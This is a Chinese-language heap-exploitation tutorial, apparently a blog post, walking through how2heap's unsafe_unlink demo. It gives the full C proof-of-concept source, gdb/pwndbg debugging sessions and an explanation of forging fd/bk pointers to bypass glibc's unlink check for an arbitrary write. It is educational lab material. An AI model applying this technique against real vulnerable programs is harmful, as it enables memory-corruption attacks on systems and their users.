how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
1.fastbins的double-free攻击
这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即unsafe unlink。
2.unsafe unlink程序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main()
{
fprintf(stderr, "当您在已知位置有指向某个区域的指针时,可以调用 unlink\n");
fprintf(stderr, "最常见的情况是易受攻击的缓冲区,可能会溢出并具有全局指针\n");
int malloc_size = 0x80; //要足够大来避免进入 fastbin
int header_size = 2;
fprintf(stderr, "本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "全局变量 chunk0_ptr 在 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "我们想要破坏的 chunk 在 %p\n", chunk1_ptr);
fprintf(stderr, "在 chunk0 那里伪造一个 chunk\n");
fprintf(stderr, "我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
fprintf(stderr, "我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.\n");
fprintf(stderr, "通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk 的 fd: %p\n",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk 的 bk: %p\n\n",(void*) chunk0_ptr[3]);
fprintf(stderr, "现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
fprintf(stderr, "通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的\n");
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 %p\n",(void*)chunk1_hdr[0]);
fprintf(stderr, "接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块\n\n");
chunk1_hdr[1] &= ~1;
fprintf(stderr, "现在释放掉 chunk1,会触发 unlink,合并两个 free chunk\n");
free(chunk1_ptr);
fprintf(stderr, "此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "chunk0_ptr 现在指向我们想要的位置,我们用它来覆盖我们的 victim string。\n");
fprintf(stderr, "之前的值是: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "新的值是: %s\n",victim_string);
}
3.调试unsafe_unlink
3.1 获得可执行程序
gcc -g unsafe_unlink.c -o unsafe_unlink
3.2 第一次调试程序
调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
root@pwn_test1604:/ctf/work/how2heap# gcc -g unsafe_unlink.c -o unsafe_unlink
root@pwn_test1604:/ctf/work/how2heap# gdb ./unsafe_unlink
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./unsafe_unlink...done.
pwndbg> r
Starting program: /ctf/work/how2heap/unsafe_unlink
当您在已知位置有指向某个区域的指针时,可以调用 unlink
最常见的情况是易受攻击的缓冲区,可能会溢出并具有全局指针
本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入
全局变量 chunk0_ptr 在 0x602070, 指向 0x603010
我们想要破坏的 chunk 在 0x6030a0
在 chunk0 那里伪造一个 chunk
我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.
我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.
通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk 的 fd: 0x602058
Fake chunk 的 bk: 0x602060
现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据
通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的
如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 0x80
接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块
现在释放掉 chunk1,会触发 unlink,合并两个 free chunk
此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置
chunk0_ptr 现在指向我们想要的位置,我们用它来覆盖我们的 victim string。
之前的值是: Hello!~
新的值是: BBBBAAAA
[Inferior 1 (process 52) exited normally]
pwndbg>
3.3 第二次调试程序
3.3.1 申请了两个堆之后
unlink有一个保护检查机制,在解链操作之前,针对堆块P自身的fd和bk 检查了链表的完整性,即判断堆块P的前一块fd的指针是否指向P,以及后一块bk的指针是否指向 P。
malloc_size设置为0x80,可以分配small chunk,然后定义header_size为2。申请两块空间,全局指针chunk0_ptr指向chunk0,局部指针chunk1_ptr 指向 chunk1。先在main函数上设置一个断点,然后单步走下一步,走到20行。
我们来看一下,申请了两个堆之后的情况。
设置断点 在第21行, 指令 b 21
pwndbg> n
21 fprintf(stderr, "全局变量 chunk0_ptr 在 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x6030a0 ◂— 0x0
RBX 0x0
RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
RDX 0x6030a0 ◂— 0x0
RDI 0x0
RSI 0x603120 ◂— 0x0
R8 0x603000 ◂— 0x0
R9 0xd
R10 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603120 ◂— 0x0
R11 0x0
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400a40 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 ◂— 0x0
RIP 0x40074a (main+164) ◂— mov rdx, qword ptr [rip + 0x20191f]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x400739 <main+147> mov eax, dword ptr [rbp - 0x28]
0x40073c <main+150> cdqe
0x40073e <main+152> mov rdi, rax
0x400741 <main+155> call malloc@plt <0x400580>
0x400746 <main+160> mov qword ptr [rbp - 0x20], rax
► 0x40074a <main+164> mov rdx, qword ptr [rip + 0x20191f] <0x602070>
0x400751 <main+171> mov rax, qword ptr [rip + 0x201908] <0x602060>
0x400758 <main+178> mov rcx, rdx
0x40075b <main+181> mov edx, chunk0_ptr <0x602070>
0x400760 <main+186> mov esi, 0x400bc8
0x400765 <main+191> mov rdi, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsafe_unlink.c
16 fprintf(stderr, "本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入\n\n");
17
18 chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
19 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
20 fprintf(stderr, "全局变量 chunk0_ptr 在 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
► 21 fprintf(stderr, "我们想要破坏的 chunk 在 %p\n", chunk1_ptr);
22
23 fprintf(stderr, "在 chunk0 那里伪造一个 chunk\n");
24 fprintf(stderr, "我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.\n");
25 chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
26 fprintf(stderr, "我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 ◂— 0x0
01:0008│ 0x7fffffffe598 ◂— 0x200000080
02:0010│ 0x7fffffffe5a0 —▸ 0x6030a0 ◂— 0x0
03:0018│ 0x7fffffffe5a8 —▸ 0x4005b0 (_start) ◂— xor ebp, ebp
04:0020│ 0x7fffffffe5b0 —▸ 0x7fffffffe6a0 ◂— 0x1
05:0028│ 0x7fffffffe5b8 ◂— 0x5f6182742d545d00
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a40 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 40074a main+164
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> x/40gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000091
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000091
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
0x603130: 0x0000000000000000 0x0000000000000000
pwndbg>
3.3.2 利用全局指针chunk0_ptr构造fake chunk来绕过它
接下来要绕过 (P->fd->bk != P || P->bk->fd != P) == False的检查,这个检查有个缺陷,就是fd/bk指针都是通过与chunk头部的相对地址来查找的,所以我们可以利用全局指针chunk0_ptr构造fake chunk来绕过它。
再单步走到40行。
pwndbg> b 40
Breakpoint 4 at 0x400947: file unsafe_unlink.c, line 40.
pwndbg> c
Continuing.
全局变量 chunk0_ptr 在 0x602070, 指向 0x603010
我们想要破坏的 chunk 在 0x6030a0
在 chunk0 那里伪造一个 chunk
我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.
我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.
通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk 的 fd: 0x602058
Fake chunk 的 bk: 0x602060
现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据
通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的
如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 0x80
接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块
Breakpoint 4, main () at unsafe_unlink.c:41
41 fprintf(stderr, "现在释放掉 chunk1,会触发 unlink,合并两个 free chunk\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x603098 ◂— 0x90
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x90
RDI 0x2
RSI 0x400f00 ◂— out 0x8e, al
R8 0x61
R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
R10 0x1
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400a40 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 ◂— 0x0
RIP 0x400947 (main+673) ◂— mov rax, qword ptr [rip + 0x201712]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400947 <main+673> mov rax, qword ptr [rip + 0x201712] <0x602060>
0x40094e <main+680> mov rcx, rax
0x400951 <main+683> mov edx, 0x44
0x400956 <main+688> mov esi, 1
0x40095b <main+693> mov edi, 0x400f68
0x400960 <main+698> call fwrite@plt <0x400590>
0x400965 <main+703> mov rax, qword ptr [rbp - 0x20]
0x400969 <main+707> mov rdi, rax
0x40096c <main+710> call free@plt <0x400540>
0x400971 <main+715> mov rax, qword ptr [rip + 0x2016e8] <0x602060>
0x400978 <main+722> mov rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsafe_unlink.c
36 fprintf(stderr, "如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 %p\n",(void*)chunk1_hdr[0]);
37 fprintf(stderr, "接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块\n\n");
38 chunk1_hdr[1] &= ~1;
39
40 fprintf(stderr, "现在释放掉 chunk1,会触发 unlink,合并两个 free chunk\n");
► 41 free(chunk1_ptr);
42
43 fprintf(stderr, "此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置\n");
44 char victim_string[8];
45 strcpy(victim_string,"Hello!~");
46 chunk0_ptr[3] = (uint64_t) victim_string;
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 ◂— 0x0
01:0008│ 0x7fffffffe598 ◂— 0x200000080
02:0010│ 0x7fffffffe5a0 —▸ 0x6030a0 ◂— 0x0
03:0018│ 0x7fffffffe5a8 —▸ 0x603090 ◂— 0x80
04:0020│ 0x7fffffffe5b0 —▸ 0x7fffffffe6a0 ◂— 0x1
05:0028│ 0x7fffffffe5b8 ◂— 0x5f6182742d545d00
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a40 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400947 main+673
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsafe_unlink.c:40
pwndbg> x/40gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000091
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000602058 0x0000000000602060
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000080 0x0000000000000090
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
0x603130: 0x0000000000000000 0x0000000000000000
pwndbg>
pwndbg> x/4gx 0x0000000000602058
0x602058: 0x0000000000000000 0x00007ffff7dd2540
0x602068 <completed>: 0x0000000000000000 0x0000000000603010
pwndbg> x/4gx 0x0000000000602060
0x602060 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd2540 0x0000000000000000
0x602070 <chunk0_ptr>: 0x0000000000603010 0x0000000000000000
pwndbg>
我们的fake chunk的fd指向0x602058,然后0x602058的bk指向0x602070。fake chunk的bk指向0x602060,然后0x602060的fd指向 0x602070,可以保证前后都指向我们伪造的这个 chunk,完美!
接下来释放掉chunk1,因为fake chunk和chunk1是相邻的一个free chunk,所以会将他两个合并,这就需要对fake chunk进行unlink,进行如下操作:
FD = P->fd
BK = P->bk
FD->bk = BK
BK->fd = FD
根据 fd 和 bk 指针在 malloc_chunk 结构体中的位置,这段代码等价于:
FD = P->fd = &P - 24
BK = P->bk = &P - 16
FD->bk = *(&P - 24 + 24) = P
BK->fd = *(&P - 16 + 16) = P
这样就通过了 unlink 的检查,最终效果为:
FD->bk = P = BK = &P - 16
BK->fd = P = FD = &P - 24
也就是说,chunk0_ptr 和 chunk0_ptr[3] 现在指向的是同一个地址,在这个图示中最终实现的效果是ptr中存的是ptr-0x18,如果本来ptr 是存的一个指针的,现在它指向了ptr-0x18。如果编辑这里的内容就可以往ptr-0x18那里去写,实现了覆盖这个指针为任意值的效果。
4.参考资料
【PWN】how2heap | 狼组安全团队公开知识库